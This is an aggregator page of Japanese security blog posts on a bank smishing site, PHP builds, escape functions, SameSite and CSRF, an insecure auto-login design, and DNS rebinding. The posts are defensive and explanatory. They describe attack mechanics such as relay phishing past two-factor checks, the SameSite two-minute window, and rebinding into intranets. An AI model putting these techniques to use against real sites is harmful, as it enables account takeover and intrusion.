Quantcast
Channel: 徳丸浩の日記
Viewing all 194 articles
Browse latest View live

auじぶん銀行のフィッシングSMSが届いた

$
0
0

3日前に、auじぶん銀行の巧妙な不正出金についてYouTube動画を公開しました。みんな見てねー。

auじぶん銀行アプリに対する不正出金の驚くべき手口

そうしたところ、先程私のiPhoneに以下のようなSMSが届きました。

ふーん、au自分銀行のときは宅配事業者を装ったSMSということでしたが、これはどうなんでしょうね。開いてみると…


詐欺サイトの警告が出ていますが、構わずに開いてみると…


きたきたきたー。これですよ。auじぶん銀行のフィッシング(SMSの場合はスミッシングと言いますが)サイトのようですよー。「閉じる」をタップすると…


うーむ、これがauじぶん銀行の本物のフィッシングサイトですよ。これかー。僕が作った偽サイトよりもきちんと作ってありますねー(笑い)。
ちなみに、本物のauじぶん銀行サイトはこちら。


よく似ていますね。お客様番号とログインパスワードの欄は共通ですが、偽物の方は暗証番号と誕生日を要求しています。私がデモ用に作った偽サイトは、さらにカタカナの氏名を要求していますが、氏名はサイトにログインすると容易にわかるので省略しているのでしょうね。

せっかくの「本物の偽サイト」ですので、少し実験してみましょう。お客様番号等をでたらめな文字列にして、ログインボタンをタップしてみます。


「サーバーに接続中です。このまましばらくお待ち下さい」というダイアログが表示され、しばらくたった後、「入力に誤りがあります。」というダイアログが表示されます。
これは、攻撃者が、入力内容(お客様番号とログインパスワード)を用いて本物サイトにログインを試み失敗したためと考えられます。このように、裏で本物のサイトと中継する形式のフィッシングを中継型フィッシングと呼びます。

ログインパスワードを得るためだけであれば、中継型にする必要はないのですが、オンラインバンキングの多くはパスワードだけでは送金や出金はできず、追加の認証を求めるわけで、その追加の認証を突破する目的で行われます。
ちなみに、au自分銀行の場合は、スマホアプリかカード番号裏の乱数表が用いられますが、こちらのリリースで公表されている手口の場合は、以下を突破していると考えられます。
  • キャッシュカード暗証番号
  • キャッシュカードの裏面にある確認番号表の数字
  • お客さま携帯電話宛てに発行されたワンタイムパスワード
実際にどうなっているかは、本物の会員番号とパスワードを入力すればわかるのですが、さすがにそれはできないので、ここまででやめました。

おそらくは、冒頭に紹介した動画の手口かと思いますので、興味のある方は動画の方を御覧ください。

auじぶん銀行アプリに対する不正出金の驚くべき手口

フィッシングは恐ろしい手口であり、こちらの報道(アーカイブ)では、「警察庁によると、6、7月に同様の被害が全国で32件(約1060万円)確認されている」とあります。くれぐれもご注意下さい。また、中継型フィッシングを想定すると、二段階認証も突破される可能性が高いので、サイト運営者側もそれを想定した対策が求められます。


追記(2020年11月15日11:00)

今朝当該サイトにアクセスしてみたところ、DNSの設定が削除され、当該IPアドレスにもアクセスできない状態になっていました。関係者の皆様ありがとうございました。


PHPビルドの楽しみ、あるいはポケモンとしてのPHPについて

$
0
0

この記事はPHP Advent Calendar 2020の19日目です。18日目は@You-sakuさんのPHPでYoutubeのAPIを利用したいでした。


私は以前、PHPのすべてのバージョンを使う環境として、phpallphpcgiallmodphpallを紹介してきました。これらは、PHPのすべてのバージョンをそれぞれコマンドライン、CGI、mod_phpの形式で動作させるものです。
現在では、PHPのバージョンを切り替えて動作させる仕組みはphpenvphpbrew等何種類もありますし、php-buildという、PHPをビルドするというそのものずばりの仕組みも広く使われています。
しかし、短いPHPスクリプトをPHPの全バージョンで試すという私の使用法からは、phpall(およびその派生としてphpcgiall、modphpall)はメリットがあり、私は今もPHPのビルドを続けています。

そう、私は今も、PHPのすべてのバージョンのバイナリをCLI、CGI、Apacheモジュールの形式で持っているのです。そして、元々は目的があって始めたことなのですが、いまや、「PHPのすべてのバージョンをコンプする」こと自体が目的化してしまっています。この感覚、何かに似ているなと思い返したら…そうです。ポケモンを集めるような感覚なのです。いまや、

徳丸にとってPHPはポケモン


と言っても過言ではありません。
PHPがポケモンだという主張は認めていただくとして、PHPにもポケモン同様にレアキャラがあるでしょうか…

あります。ビルドが困難であればあるほど、レアなポケモン(に相当するPHP)と言ってよいでしょう。
経験上、以下の条件を満たすPHPがレアな(ビルドが困難な)ものと言えます。
  • 古いバージョンのPHP(PHP4、PHP5.0、5.1、PHP5.2等)
  • 新しい環境で動く(Ubuntu 20.04等)
  • できるだけ多くの拡張モジュールを備える
  • 32ビット版よりも64ビット版
以下、その理由を簡単に説明しましょう。

古いバージョンのPHP

次の項と関連しますが、古いPHPはビルドすること自体が困難です。その一端は@hnwさんの以下の記事で読むことができます。


古いPHPがビルドが困難な理由は以下の通りです。
  • Cコンパイラの新バージョンでは文法チェックが厳しくなった結果、コンパイルエラーになりコンパイルできない
  • PHPが利用するライブラリの非互換なバージョンアップ
これらの回避策としては以下が考えられます。
  • 古いコンパイラ(gcc)を使う
  • コンパイルエラーを緩和するオプションを設定する
  • 古いライブラリを使う
  • PHPにパッチをあてる
最終的にはPHPにパッチをあてざるを得ない場合もありますが、これはできれば避けたいところです。新しいgccでコンパイルエラーになる箇所を見ていると「これ、単にバグじゃないか」と思うものが多い(それ以外ではライブラリの非互換)のですが、他の方法で回避できるのであれば回避したい…ということで、古いgccを試したりしましたが、今は以下のgccのオプションで回避して、最低限PHPソースにパッチをあてています。
-std=gnu89
-fgnu89-inline
ライブラリも結構ハマるところでして、以下は複数のバージョンを使っています。
  • zlib(1.1.4、1.2.11)
  • openssl(0.9.8、1.1.1)
  • curl(7.15.0、7.16.0、7.68.0、7.72.0)
  • libxml2(2.7.8、2.9.8、2.9.10)
意外にハマるのがcurl(libcurl)でして、非互換なバージョンアップのため、PHPのバージョンによってcurlのバージョンも変える必要がありました。

新しい環境で動く

前項の裏返しになりますが、新しい環境(OS)であるほど、古いPHPをビルドすることが困難になります。特にライブラリの非互換は避けようのないところで、OS(Linuxディストリビューション)にバンドルされているライブラリでうまくビルドできない場合は、古いライブラリを探してきてビルドすることから始めなければなりません。ライブラリ毎にビルド方法に癖があったりして苦労する場合もありますが、そこがまた楽しいのです。

できるだけ多くの拡張モジュールを備える

前項と関連しますが、できるだけ多くの拡張モジュールを指定した方がビルドの難易度が上がります。OSにバンドルされていないライブラリや、バンドルはされているが非互換のため古いライブラリを別途導入しないケースはなおさらです。

32ビット版よりも64ビット版

意外なことを書くと思われるかもしれませんが、古いPHP(4.1、4.2あたり)はAMD64でのビルドが困難です。ビルド自体はできるのですが、正常に動作しません。この時代はまだAMD64の現物がなかった(AMD64の出荷は2003年4月)からと思われます。PHP 4.0はビルドでき動作もするので、調整すればPHP 4.1や4.2も動作すると思うのですが、私はまだ成功していません。

phpallをUbuntu16.04(32ビット)からUbuntu20.04(64ビット)に移行

さて、著者はphpallの環境を当初Ubuntu12.04(32ビット)に構築し、その後Ubuntu16.04(32ビット)に移行していましたが、PHP 8.0α版が出た際にUbuntu20.04(64ビット)に移行しました。
そのきっかけとなったのは、PHP 8.0から導入されたJITを試そうとして時のことです。どうもx86(32ビット)では、JITは使えないようなのです。下図はphpinfoからの該当部分です。


JITのRFCではx86もサポートされていると書かれていましたが、本番投入は見送られたのでしょうか。私は、phpallを64ビット環境に移す決断をしました。以下はUbuntu20.04(64ビット)でのphpinfoで、JITが有効化できていることがわかります。


残る課題

楽しみとしてのPHPビルドについて紹介しましたが、現状課題が残っています。前述のように、64ビット環境でのPHP4.1と4.2のビルドには成功していないからです。ここは私の技術の至らなさではあるのですが、将来の楽しみにとっておこうと思います。やり方をご存知の方がいれば教えていただけるとありがたいです。

PHPにはエスケープ関数が何種類もあるけど、できればエスケープしない方法が良い理由

$
0
0

このエントリは、PHP Advent Calendar 2021の20日目のエントリです。19日目は @takobaさんによる PHPプロジェクトのComposerパッケージをRenovateで定期アップデートするでした。

SQLインジェクションやクロスサイトスクリプティング(XSS)の対策を行う際には「エスケープ処理」をしましょうと言われますが、その割にPHP以外の言語ではあまりエスケープ処理の関数が用意されていなかったりします。それに比べてPHPはエスケープ処理の関数が非常に豊富です。これだけ見ても、PHPはなんてセキュアなんだ! と早とちりする人がいるかもしれませんが、しかし、他言語でエスケープ処理関数があまりないのはちゃんと理由があると思うのです。

本稿では、PHPのエスケープ処理用の関数を紹介しながら、その利用目的と、その関数を使わないで済ませる方法を説明します。


SQL用のエスケープ関数

セキュリティとエスケープといえば、真っ先に思いつくのがSQL文字列のエスケープです。関数名にescapeが含まれるものとして下記があります。これらのエイリアスもありますが、割愛します。

これらのうち、pg_escape_identifierは識別子のエスケープをする関数です。SQLの識別子の問題については、下記の連作を御覧ください。

結論として、SQL識別子のエスケープは、phpMyAdminのようなツールを開発する場合は必要になるが、一般のアプリケーション開発であれば識別子のエスケープをしなくてもすむようにした方がよい、というものです。

また、pg_escape_literalは、エスケープするだけでなく文字列を引用符で囲ってリテラルの形にしてくれるものです。PDOだと以下のメソッドが該当します。

単にエスケープだけするのに比べて、引用符で囲ってリテラルを生成する関数・メソッド(pg_escape_literalやPDO::quote)を使ったほうが安全です。これらquote系の関数は、対象が数値の場合も適切に処理してくれることが期待できるからです(ただし、伝統的にPDOは数値の扱いがイマイチですが)。

さて、SQLインジェクション対策にはエスケープが重要とはよく言われることですが、数値が対象の場合はエスケープしない(してはいけない)ことや、データベース・ソフトウェア毎にエスケープのやり方が異なるなど、現実には難易度の高い処理です。このあたりの事情についてはIPAの安全なSQLの呼び出し方をぜひご一読ください。

結論としては、リテラル中の文字列をエスケープするのではなく、プレースホルダを用いてSQLを呼び出すべきであり、さらに言えば、今どきのモダンなアプリケーション・フレームワークを使う場合は、フレームワーク付属のO/Rマッパーを使うので、現実のアプリケーション開発でSQLのエスケープ関数を利用するケースは多くはないと思います。


HTMLエスケープ

HTMLエスケープ、すなわち文字を文字参照に変換する関数には以下があります。

通常クロスサイトスクリプティング対策にはhtmlspecialchars関数を用いますが、こちらについてもフレームワークを使う場合はテンプレートエンジンの機能で自動エスケープさせるのが吉でしょう。

また、PHPはJavaScriptの文字列リテラルのエスケープについては提供していません。json_encodeでできないこともないですが、JavaScriptの動的生成は非常に難易度の高い処理なので、拙著2版では、カスタムデータ属性に値を書いて、それをJavaScriptから参照する方法を推奨しています。これにより、JavaScriptのエスケープではなくHTMLのエスケープで統一できます。


OSコマンド(シェル)

PHPは、system関数などOSコマンド呼び出しのために、シェル形式のエスケープ関数を提供しています。これは他の言語ではあまり見当たらず、比較的珍しい機能だと思います。

これらのうち、escapeshellcmdについては仕様にまつわる脆弱性があり修正も不可能ということで、使用禁止となっています。

警告
escapeshellcmd() はコマンド文字列全体に適用しなければなりません。 また、そうしたところで、まだ任意の数の引数を渡すことによる攻撃を許してしまいます。 単一の引数をエスケープするには、かわりに escapeshellarg() を使わねばなりません。
https://www.php.net/manual/ja/function.escapeshellcmd.phpより引用

この脆弱性は、下記ブログ記事で私が報告したものです。

この脆弱性を見つけたきっかけは、拙著の初版を書いている際に、OSコマンドインジェクション対策としてエスケープ処理で本当に大丈夫だろうかと心配になり色々試している中で見つけたものです。心配になった理由は、シェルのエスケープ処理の難易度が高いためです。

そして、この心配はPHPMailerの脆弱性CVE-2016-10033という形で現実のものになりました。

さて、シェル形式のエスケープ処理関数は比較的珍しいと書きましたが、他の言語ではどうしているのでしょうか。実はもっと良い方法、すなわちシェルを経由しないコマンド呼び出しが提供されています。以下の記事で解説しています。

そして、PHP 7.4にて、ようやくシェル経由でないOSコマンド呼び出しが提供されました。

このため、今後はOSコマンドインジェクション対策としては、エスケープ処理ではなく、proc_openによる「シェル経由でないOSコマンド呼び出し」を用いるべきだと思います。この場合はescapeshellarg等によるエスケープ処理は必要ありません。


正規表現

PHPは正規表現用のエスケープ関数も提供しています。

これはどのような時に用いるかと言うと、正規表現パータン中に外部入力を含める場合です。そんなことあるのかと思ってしまいますが、これが原因でRCE(リモートコード実行)可能な脆弱性が混入した例があります。

なので、外部入力を正規表現パターンに含める場合はpreg_quoteを使いましょう…とは私は思いません。そんな危険な行為そのものを避けるべきだと思います。現に、上記で紹介したphpMyAdminの脆弱性(CVE-2013-3238)も、当該箇所で正規表現を使わない形で改修しています。詳細は上記ブログ記事を参照ください。

ということで、preg_quoteもよほどのことがない限り使わない関数だと私は思います。


URL

URL中に記号文字やマルチバイト文字を含める場合はパーセントエンコード(URLエンコード)しますが、これも一種のエスケープ処理と考えることができます。PHPで用意されているパーセントエンコードの関数には以下があります。

概ね似たような処理を行う関数が4種類もあるのがPHPらしいですが、通常はrawurlencodeを用いればよいでしょう。urlencodeの方は、空白を%20ではなくプラス記号にエンコードします。こちらはHTMLフォームのapplication/x-www-form-urlencoded形式ということでしょうが、その差が問題になるケースはあまりないと思います。

URL中で記号をエスケープしないとまずい理由は、クエリ文字列では = や & の記号が区切り文字として特別な意味を持つからです。たとえば、a=値という形式で、値が「b&c=d」だとすると、全体ではa=b&c=dとなって、値がbのみで千切れてしまいます。

このように、URLのエスケープ(パーセントエンコード)自体は必要な処理ですが、目的がクエリ文字列の組み立てである場合は、rawurlencode等よりも便利な機能があります。それは、http_build_query です。この関数は配列を引数として、クエリ文字列形式の文字列を返します。この過程でパーセントエンコードもしてくれます。特に、項目数が多い場合に便利ですが、単一の場合でもhttp_build_queryを使うことをお勧めします。一般的に、ミクロな処理の関数を組み合わせて使うよりも、マクロな機能の関数を用いた方がプログラムの意図が分かりやすくなり、バグ、ひいては脆弱性が入る余地が少なくなるからです。


LDAP

古来から知られたLDAPインジェクションという脆弱性があります。私自身は、LDAPを使った検索で「*」を指定したら全件マッチになった例は脆弱性診断で見つけたことがあります。また、LDAPのクエリの式を変更するという、文字通りのインジェクションもありえます。

LDAPのクエリに外部入力を含めることは十分考えられるため、エスケープが必要になる場合があります。PHPでは5.6から下記の関数でLDAPのエスケープを提供しています。


目的不明なエスケープ関数

以下の3つの関数はPHP4時代からある由緒正しいものですが、利用シーンがよく分かりません。

これらのうち、addcslashesはリファレンスに「C 言語と同様にスラッシュで文字列をクォートする」とありますが、スラッシュ「/」ではなくバックスラッシュ「\」ですよね。PHP言語でC言語のソースコードを生成する時に使うのでしょうか。

もっとわけが分からないのは、addslashesとquotemetaです。

addslashes 

エスケープすべき文字の前にバックスラッシュを付けて返します。 エスケープすべき文字とは、以下のとおりです。

  • シングルクォート (')
  • ダブルクォート (")
  • バックスラッシュ (\)
  • NUL (null バイト)

https://www.php.net/manual/ja/function.addslashes.phpより引用

なんとなく、MySQLのエスケープルールを思い起こしますが、わざわざ以下のように「SQLインジェクション対策に使うな」と念押しがしてあります。

addslashes() 関数は、 SQLインジェクション を防止しようとして誤った使い方がされることがあります。 この関数を使うのではなく、データベース特有のエスケープ関数 および/もしくは プリペアドステートメントを使うようにしてください。

quotemetaの説明は以下のとおりで、正規表現のエスケープを連想しますが、

quotemeta 

文字列 str について、

. \ + * ? [ ^ ] ( $ )

の前にバックスラッシュ文字 (\) でクォートして返します

https://www.php.net/manual/ja/function.quotemeta.phpより引用

正規表現用とするには、ハイフン「-」が抜けていますし、正規表現用にはpreg_quoteがあるので、そちらを使うべきです(そもそも正規表現パターンに外部入力を含めるなということはありますが)。また、Perlにも同名の関数がありますが、こちらは記号類をすべてエスケープするので仕様が異なります。ということで、quotemetaの使い道は謎です。ご存じの方は教えてください。


まとめ

PHPに多数用意されているエスケープ用関数について紹介しました。

エスケープすべき局面でエスケープを怠る、あるいはエスケープ方法が不適切だと脆弱性になります。そして、エスケープ処理はしばしば難しいのです。エスケープをなめてはいけない。そして、本稿を書くにあたってケッサクな例を見かけました。以下は富士通のInterstage Application Server Smart Repository運用ガイドからの引用ですが、

SDK(JNDI)の場合

 JNDIは注意が必要です。

 LDAP、JNDI、Java言語それぞれで、\(エンマーク(バックスラッシュ))文字を特殊文字と扱うためです。いくつか例を示します。

 \を含むcn属性を指定するとします。

a\b

 LDAPの規約により\をエスケープする必要があります。

cn=a\\b

 JNDIの仕様により、この名前を指定するために、それぞれの\をエスケープする必要があります。

cn=a\\\\b

 Java言語の仕様により、この名前を文字列リテラルとして指定するために、それぞれの\をエスケープする必要があります。

String name1 = "cn=a\\\\\\\\b";

 同様に、,(カンマ)、"(ダブルクォーテーション)の場合はそれぞれ次のようになります。

String name2 = "cn=a\\\\,b";
String name3 = "cn=a\\\\\"b";

 最初の例をJNDIで使用する場合は、次のように記述します。

String name = "cn=a\\\\\\\\b,o=Fujitsu\\\\, Inc.,c=jp";

多重のエスケープが必要なために、バックスラッシュを8個重ねる必要が生じています。

実は、私も類似の記事を過去に書いたことがあります。以下の記事ではバックスラッシュを12個重ねています。

ということで、まとめは以下の通りです。

  • エスケープすべき局面でエスケープを忘れると脆弱性になる(前提)
  • エスケープ処理は意外にややこしい(現実)
  • エスケープしなくてもよい書き方(SQLのプレースホルダ、シェル経由しないOSコマンド呼び出し等)があればそちらを採用しよう(お勧め)


2022年1月においてCSRF未対策のサイトはどの条件で被害を受けるか

$
0
0

サマリ

2020年2月にGoogle ChromeはCookieのデフォルトの挙動をsamesite=laxに変更しましたが、2021年1月11日にFirefoxも同様の仕様が導入されました。この変更はブラウザ側でCSRF脆弱性を緩和するためのもので、特定の条件下では、ウェブサイト側でCSRF対策をしていなくてもCSRF攻撃を受けなくなります。この記事では、デフォルトsamesite=laxについての基礎的な説明に加え、最近のブラウザの挙動の違いについて説明します。


Cookieのsamesite=laxとは 

Cookieのsamesite属性は、元々Google Chrome 51にて導入されたセキュリティ機能で、その後他の主要ブラウザにも導入されています。samesiteのとり得るパターンは、指定なし、none、lax、strictですが、本稿では主にsamesite=laxについて取り上げます。

Cookieにsamesite=laxを指定した場合、異なるサイトから遷移してきた場合にCookieが送信されるか否かは文脈によって変わります。下図の状況においては、example.jpに対してGETメソッドで遷移する場合はCookieが送信されますが、POSTメソッドの場合はCookieは送信されません。

GETリクエストとPOSTリクエストで挙動が変わるのは合理的な仕様です。例えば、gmailからtwitterにリンクをたどって遷移する場合はGETメソッドが使われるためtwitterにCookieが送信され、twitterをログイン状態で閲覧することができます。一方、罠サイトから投稿ページに偽投稿を送信する場合は、「更新処理にはPOSTメソッドを使う」という原則によりPOSTメソッドのはずなので、samesite=laxのクッキーはサイトに送信されず、ログイン状態にはならないためCSRF攻撃も成立しないことになります。
このように、Cookieのsamesite=lax指定は、サイト閲覧時の利便性と安全性のバランスがよく、優れた仕様であると考えられます。

デフォルトsamesite=laxの流れ

samesite属性がブラウザに導入された当初は、従来のサイトの互換性は維持されていましたが、Google Chorme 80において、samesite無指定時の挙動がsamesite=laxに変更され、Firefoxもバージョン90にて追随しました。

この変更により「サイト側でCSRF対策していなくてもブラウザ側にてCSRF防御する」ことが可能になります。この変更は過去のサイトの互換性を崩す大胆なものであるため議論を呼んだようですが、Google ChromeおよびFirefoxという主要ブラウザが対応したことにより、今後の主流となることが確定しました。

その他のブラウザはどうか

本稿執筆時点(2022年1月26日)において、Google Chrome、Edge、Opera、Firefox等主要ブラウザの多く(Chromium系およびFirefox)にてデフォルトでsamesite=laxとなっています。一方、IEはそもそもsamesite属性を実装しておらず、Safariはsamesiteを実装しているものの、現時点ではデフォルトでsamesite=laxにはなっていません(参考)。また、iOS上のブラウザはすべてWebKitベースとなっているので、iOS上のChrome等もSafariと同じ挙動になります。


2022年1月においてCSRF攻撃を受ける条件

それでは、「サイト側でCSRF対策していない場合」において、CSRF攻撃を受ける条件はどうでしょうか。以下、ケース別に説明します。

IEや古いブラウザを使っている場合

前述のとおりIEはsamesite属性を実装していません。このため、IEユーザー、および、また他のブラウザでもsamesite属性未実装の古いバージョンを使っているユーザーは、サイト側のsamesite属性の設定に関係なくCSRF攻撃を受けることになります。


最新のSafariを使っている場合

利用者が最新のSafariを使っている場合、デフォルトではsamesite=laxではないため、サイト側でCSRF対策しておらずsamesiteの指定がない場合はCSRF攻撃の影響を受けます。一方、サイト側で明示的にsamesite=laxを使っている場合はCSRF攻撃を受けません。ただし、サイト側で、「GETメソッドで更新処理を受け付ける」実装になっている場合は、GETメソッドを用いたCSRF攻撃を受けます。脆弱性診断でも、この「GETメソッドでCSRF攻撃を受けるサイト」は時々見かけます。更新処理はPOSTメソッドのみ受け付けるようにすべきです。


最新のGoogle ChromeやFirefoxを使っている場合

利用者が最新のGoogle ChromeやFirefoxを使っている場合、Cookieのデフォルトがsamesite=laxになっているため、samesiteが、「指定しない」、lax、strictのいずれかであり、かつGETメソッドによる更新処理を許容していない場合は、それだけでCSRF攻撃をブラウザが防ぎます。samesite=noneが指定されている場合は、異なるサイトからのPOSTメソッドでもCookieが送信されます(すなわちCSRF攻撃の影響を受ける)が、samesite=noneを指定する場合はsecure属性も指定する決まりになっています。

ただし、デフォルトsamesite=laxには「2分間ルール」というものがあり、現実的な可能性は低いものの、CSRF攻撃を受ける余地があります。

2分間ルール

最新のGoogle ChromeおよびFirefoxにおいて、samesite属性を指定しないCookieはsamesite=laxの扱いを受けますが、Cookieが生成されてから2分経過してからsamesite=laxになる仕様になっています。このため、ログイン処理などで新たにCookieが発行してから2分間であれば、CSRF攻撃の影響を受ける可能性があります。


2分間ルールの挙動の違い

さらに、Google ChromeとFirefoxでは「2分間ルール」の実装に違いがあるようです。

Google Chromeの場合、Cookieが新規生成されなくても、同名のCookieが上書きされた場合、2分間ルールが延長されます。これは、セッション固定攻撃対策などでセッションIDの値を再生成(PHPの場合はsession_regenerate_idを使う)した場合が該当します。

これに対して、Firefoxの場合、Cookieを同名で上書きした場合は2分間ルールは延長されず、新規にCookieが生成された時刻が起点になります。このため、脆弱性のデモなどで敢えて2分間ルールを使いたい場合は、いったんCookieを削除してから新規にCookieを生成することにより、2分間ルールの恩恵を受けることができます。

下図は上記挙動を図示したものです。時刻=1.5分のところでCookie SESSIDを再生成したところ、Google Chromeはsamesite=noneの時間が2分間延長されているのに対して、Firefoxは延長されていないこと、一旦Cookieを削除すると、どちらのブラウザでもsamesite=noneの期間が2分間復活することが図から見て取れます。

Google ChromeとFirefoxのこれら挙動は実験により確かめたもの(Google 97.0.4692.99、Firefox 96.0.2にて確認)なので、将来のバージョンアップなどで変更される可能性があります。


まとめ

2022年1月時点でのCSRFの影響について説明しました。ブラウザ側のセキュリテイ強化により、CSRF攻撃はかなり影響を受けにくくなっていはいますが、まだ「サイト側で何もしなくてもCSRF攻撃を受けない」状況ではありません。

引き続きCSRFの対策は必要であり、以下を推奨いたします。

  • アプリケーションフレームワークの提供するCSRF防御機能を使う
  • セッションIDのCookieにはsamesite=laxを明示する
  • 更新処理ではGETメソッドを受け付けないことを確認する

とある通販サイトに学ぶ自動ログイン機能のバッドプラクティス

$
0
0

 サマリ

とある通販サイトにて「 メールアドレス・パスワードを保存する」機能がありますが、サイトにクロスサイトスクリプティング(XSS)脆弱性がサイトにあると生のパスワードが漏洩する実装となっています。本稿では、この実装方式を紹介し、なぜ駄目なのか、どうすべきなのかを紹介します。

記事の最後にはセミナーのお知らせを掲載しています。


はじめに

家人がテレビを見ていて欲しい商品があるというので、あまり気は進まなかったのですが、その商品を検索で探して購入することにしました。「気が進まない」というのは、利用実績のないサイトはセキュリティが不安だからという理由ですが、この不安は的中してしまいました。

最初の「えっ?」はパスワード登録のところでして、パスワードを再入力する箇所で「確認のためもう一度、コピーせず直接入力してください」とあるのですよ。私は乱数で長く複雑なパスワードを入力しかけていたのですが、コピペができないとなると長すぎるので、パスワードを短くしました。セキュリティ上は逆効果だと思うのですが、なぜこうするのでしょうかね。しかし、これは本題ではありません。


「パスワードを保存する」チェックボックスの存在

会員登録が終わってサイトにログインしようとすると、パスワード欄の下に下記のようなチェックボックスがあり、デフォルトはONになっています。

メールアドレス・パスワードを保存する

「ログイン状態を保持」とかならよくある機能ですが、「パスワードを保存」とは匂いますね。そこで、そのままログインをした後、ログアウト後にもう一度ログイン画面を表示させると、なんということでしょう! メールアドレスとパスワードが初期値として入っているではありませんか! 以下のようなHTMLがサーバー側で生成されていました。

<input name="email" value="tokumaru@example.jp">
<input type="password" name="pwd" value="P@ssw0rd">


「パスワードを保存する」機能の実装は?

こういう実装を見ると「サーバー側でパスワードが平文で保存されている」と思う人が多いようですが、そうではないようです。

メールアドレスとパスワードは、あるクッキー(ここではXとする)に紐づけられています。当初は、クッキーXをキーとしてサーバー側でパスワード等を保存しているのかと思いましたが、そうではなく、クッキーXにメールアドレスとパスワードが暗号化して保存されているようです。そう判断した理由は、メールアドレスとパスワードの長さを変えるとクッキーの長さも変わるからです。また、暗号化に際し初期化ベクトルも使ってないようです。


クッキーが漏洩すると平文パスワードまで漏洩する

「初期化ベクトルを使わないなんてダメじゃないか」と思いますよね。そうなんですが、このサイトの場合、もっとダメな理由があります。というのは、暗号化されたクッキーをセットしてログイン画面を表示させると、先に紹介したように、平文でメールアドレスとパスワードがHTML上に表示されるのです。つまり、暗号化していても簡単に平文に戻せるのですよね。なので、初期化ベクトル云々という次元ではなくなってしまっているわけです。

このサイトの場合、クッキーXにsecure属性はついていますが、HttpOnly属性はついていません。なので、サイト上にクロスサイトスクリプティング(XSS)脆弱性があると、クッキーは簡単に漏洩します


仮にHttpOnly属性がついていてもXSSで平文パスワードが漏洩する

しかし、仮にクッキーXにHttpOnly属性がついていても、XSS攻撃により平文のメールアドレスとパスワードは漏洩します。XSS攻撃によりXMLHttpRequestでログイン画面をリクエストすると、そのレスポンスのログイン画面HTMLにはメールアドレスとパスワードが平文で記載されているからです。

そもそもサイトにXSSがあると、クッキーにHttpOnly属性がついていても「なりすまし」により情報漏えいやサイト機能の悪用は避けられません。このあたりは以下の動画にて詳しく説明しています。

しかし、パスワードまで漏洩してしまうと、そのパスワードがパスワードリスト攻撃により悪用されたり、「パスワードを入力しないと利用できない機能」まで悪用できるので通常のXSSよりも被害が増大することになります。


この場合のベストプラクティスは?

ログインを簡便にするために、いったんログインした後はパスワードを入力しなくてもログインを継続したいというニーズ自体はよくあるものであり、拙著では、「5.1.4 自動ログイン」にて解説しています。

体系的に学ぶ 安全なWebアプリケーションの作り方 第2版 脆弱性が生まれる原理と対策の実践

本項では、自動ログインの危険な実装を紹介した上で、トークンを使うなど安全な自動ログインの実装方法について紹介しています。詳しくは上記書籍を参照してください。


サイトオーナーはどうすればよかったのか?

とある通販サイトの自動ログイン機能がイケてないことを紹介しましたが、このサイトの運営者はどうすればよかったのでしょうか。

まず思いつくのは「脆弱性診断はしていなかったのか?」ということです。脆弱性診断していたかどうかは外部の者には分かりませんが、以下の可能性が考えられます。

  • 脆弱性診断はしていなかった
  • 脆弱性診断はしていたが指摘されなかった
  • 脆弱性診断で指摘されていたが、改修はしなかった

最後のケースを考えると、仮に脆弱性診断で指摘されていたとしても、サイトが出来上がった後では簡単に修正できるものでもなく、いささか「手遅れ」という感があります。なので、サイトを実装する前に自動ログインのセキュリティを検討しておくべきでした。

自動ログインは珍しい機能ではなく、「徳丸本にも載っている」ようなよくある機能なのですから、ウェブアプリケーションのセキュリティガイドラインのようなものがあれば、安全な実装ができていたかもしれないと考えられます。このガイドラインには、自動ログインのような機能面だけでなく、SQLインジェクションのような実装面にも言及されているとよいですね。


宣伝

では、「徳丸本にも載っていないような機能」についてはどうすればよいでしょうか。こちらについては個別に検討するしかありません。その際に類似機能を持つ先行サイトを調べてもよいでしょうが、たまたま参考にしたサイトがセキュリティ的に強固な仕様であるとは限りません。

また、「そもそもセキュリティ上の問題があるのか」という脅威分析をしないことには、セキュリティを検討する・しないの俎上にも上がらないということになります。

ということから考えると、セキュアな開発にも到達度レベルがあって、以下のようになるのではないかと考えています。

今回紹介したケースは、脆弱性診断はしていたかもしれないが、指摘されたか否かは分からず、少なくとも危ない実装が修正されないまま本番リリースされたという意味で、「レベル1にも到達していない」と考えられます。

私は拙著を書く際に、ウェブアプリケーションに存在する問題を列挙してできるだけ多くのパターンを解説してしまおう、と目論みました。なので徳丸本はあんなに分厚いのですが、それでも全てのパターンを列挙することは当然できなません。なので、徳丸本をいくら読んでも到達できるのは上記の「レベル2」です。

私の最近の関心はその上のレベルに到達するための方法論です。これについては2022年3月16日のセミナーにて簡単に紹介する予定ですので、お時間がある方は参加いただけると幸いです(宣伝)。

  • 2022年3月16日(水)16:00~17:00(オンライン)
  • 講演タイトル:セキュア開発ライフサイクル(SDLC)実践入門
  • イベント詳細・お申し込みはこちらから

DNSリバインディング(DNS Rebinding)対策総まとめ

$
0
0

サマリ

DNSリバインディングが最近注目されている。Google Chromeは最近になってローカルネットワークへのアクセス制限機能を追加しており、その目的の一つがDNSリバインディング対策になっている。Googleが提供するWiFiルータGoogle Nest WiFiはデフォルトでDNSリバインディング対策機能が有効になっている。 DNSリバインディング対策は、攻撃対象アプリケーションで行うべきものであるが、ブラウザ、PROXYサーバー、リゾルバ等でも保護機能が組み込まれている。本稿ではそれら対策機能の状況と対策の考え方について説明する。

DNSリバインディング(DNS Rebinding)とは

DNSリバインディングはDNS問い合わせの時間差を利用した攻撃です。DNSのTTL(キャッシュ有効期間)を極めて短くした上で、1回目と2回目の問い合わせ結果を変えることにより、IPアドレスのチェック等を回避する攻撃です。下図は、DNSリバインディング時のDNS問い合わせの様子です。




DNSリバインディングの主な脅威

DNSリバインディングによる脅威は、DNS問い合わせがあるところ全てにありえますが、典型的な脅威として下記があります。

  • 外部からアクセスできない対象へのブラウザ経由での攻撃
  • SSRF攻撃のチェック回避

ブラウザ経由での攻撃

ブラウザ経由での攻撃の概要図を示します。

上図は、攻撃者の誘導により、被害者が罠のページ(http://trap.example.org/)を閲覧しているところです。罠ページが閲覧された瞬間にDNSのAレコード(IPv4アドレス)を変更し、罠ページは10秒後にXMLHttpRequestにより http://trap.example.org/secret.htmlをアクセスします。この時点ではIPアドレスは変更されているためイントラネット内のサーバーにアクセスします。この攻撃により、外部からは直接アクセスできないサーバーにアクセスできます。

このように、DNSリバインディングは、イントラネット内のサーバーの他、ルーターやファイアウォール、IoT機器など、利用者のパソコン自身など、「外部からはアクセスできないが内部ネットワークからはアクセスできる」機器やサーバーが主な攻撃対象です。IPアドレスのみでアクセス制御されているサイトも攻撃対象になります。

